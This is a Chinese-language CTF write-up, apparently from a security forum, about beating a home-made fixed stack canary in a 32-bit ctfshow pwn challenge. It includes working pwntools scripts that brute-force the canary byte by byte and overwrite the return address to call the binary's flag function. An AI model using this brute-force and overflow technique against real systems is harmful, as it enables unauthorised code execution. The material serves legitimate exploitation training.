查看题目
提示信息没看懂
先用checksec分析一下
能看得出来是32位系统
拖到IDA中进行分析
关键的函数就是canary() 和 ctfshow
分别跟进分析
代码的作用是读取/canary.txt文件,并赋值给变量 global_canary
代码中先让s1 = global_canary
如果发生栈溢出的话,会覆盖掉s1的值
后面循环读取值写入到v2中
v5 是一个用于计循环次数的变量
上面循环的代码等价于
for (v5=0; v5<=31;v5++){
read(0, &v2[v5], 1u);
if (v2[v5] == 10)
break;
}
if语句的意思是,如果读取到\n,因为\n的ascii码是10,就是读取到换行符的时候,就停止读取。
__isoc99_sscanf((int)v2, (int)”%d”, (int)&nbytes);
这里的意思是将v2转换为整数存储到nbytes中
后面 read,就是读取控制台输入存放到buf中,读取nbytes个字节数量
当参数 handle 为 0 的时候,代表读取控制台输入
然后下面的if语句,比较s1与global_canary的值是否还相同,这里如果发生了栈溢出的话,就会覆盖掉s1的值,溢出的数据如果无法和global_canary相匹配,就会exit()退出程序
这里就相当于模拟了一个Canary栈溢出保护
分析题目逻辑
其中canary的值是从文件中读入,很大概率文件内容是不会改变的
所以这里可以尝试爆破
接下来使用pwntools+gdb调试
先在本地创建/canary.txt的文件
程序中读入4字节的内容
所以这里随便写4个字节进去即可
先调试我们的溢出数据应该怎样写
from pwn import *
io = process("./pwn")
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = cyclic(0x20) # 生成的任意随机字符长度是0x20
io.sendlineafter(">",'99') # 当遇到程序输出>时,发送99
gdb.attach(io) # 打开gdb窗口调试
io.sendafter('$ ', payload) # 当遇到 $ 符时发送payload
io.interactive()
观察代码
是可以发现在两次输入之前程序会打印的特殊字符的
我们运行python代码
会出现gdb的调试界面
输入n,单步步过
因为我们是在发送Payload之前停的
下一步之后我们的payload就会被写入
可以看到这里的aaaa,这个就是cyclic生成的任意字符
我们找到esp 和 ebp 的地址
输出栈的所有字节
圈住的部分就是我们刚刚发送的payload,这里payload没有什么作用,就是把buf填满,
我本地创建的canary.txt 的内容是qwer,刚好可以和buf后面的四个字节对应
上面 x/a 的作用是先调整输出格式,否则可能会输出10进制什么其他格式
canary: 0x72657771
因为程序是小端字节序
所以要从后往前读
0x71 0x 77 0x65 0x72
所以从这里我们可以知道,buf后面的四个字节就是变量s1的字节,也就是用来验证是否产生了栈溢出的canary,就是程序用来验证是否产生栈溢出的地方,正常情况下栈溢出会让其他字节覆盖掉这里的canary,就会造成验证失败,程序停止,但是我们上面说了,因为canary是固定的不是随机的,所以可以爆破
再往后看
canary后16个字节后是函数的返回地址也就是main函数的地址
如果要获取shell或是泄露libc地址的话,就要让我们要调用的函数覆盖这个地方
但是题目中存在flag函数可以直接用来读取flag
这时候就可以构造我们的payload了
payload = cyclic(0x20) + canary + p32(0) * 4 + p32(flag)
其中,canary需要我们爆破得到
flag是flag函数的地址
接下来就是逐字节爆破canary
先在本地测试
from pwn import *
canary = b''
for i in range(4): # 已知canary是4字节,从IDA反编译出来的结果中可以看到
for c in range(0xFF): # 从0x00爆破到0xFF
io = process("./pwn")
payload = cyclic(0x20) + canary + p8(c) # 这里p8()是一个字节
io.sendlineafter(">", "999")
io.sendafter("$ ", payload)
text = io.recv()
if b"Error" in text: # 如果栈溢出保护提示信息出现
print(f"[*] {c}/{0xFF}")
else:
canary += p8(c)
print(f"[+] {p8(c)}")
break
io.close()
print(f"canary: {canary}")
io = process("./pwn")
elf = ELF("./pwn")
flag = elf.sym['flag']
payload = cyclic(0x20) + canary + p32(0) * 4 + p32(flag)
io.sendlineafter(">",'999')
io.sendafter("$ ", payload)
io.interactive()
代码运行结果
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 700.00 | 0 | 2023-08-02 11:11:04 | 深度 200 普适 300 可读 100 稀缺 100 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.